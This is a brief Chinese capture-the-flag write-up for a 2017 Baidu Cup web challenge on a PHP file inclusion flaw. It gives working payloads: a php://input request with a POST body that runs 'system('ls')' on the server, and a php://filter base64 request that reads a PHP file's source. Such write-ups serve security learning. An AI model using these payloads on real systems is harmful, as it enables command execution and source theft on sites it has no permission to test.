“百度杯”CTF比赛 2017 二月场
类型:Web 题目名称:include![](https://i-blog.csdnimg.cn/blog_migrate/9807424b88952e586d62e9e01b28ac13.png)
刚进来只看到一个PHP页面和部分PHP代码,看看提示内容,文件包含漏洞。
不多说,用火狐hackbar直接构造:
?path=php://input
post内容:<?php echo system('ls');?>
会爆出具体有哪些文件。
再通过?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
查看dle345aae.php文件中有些什么东西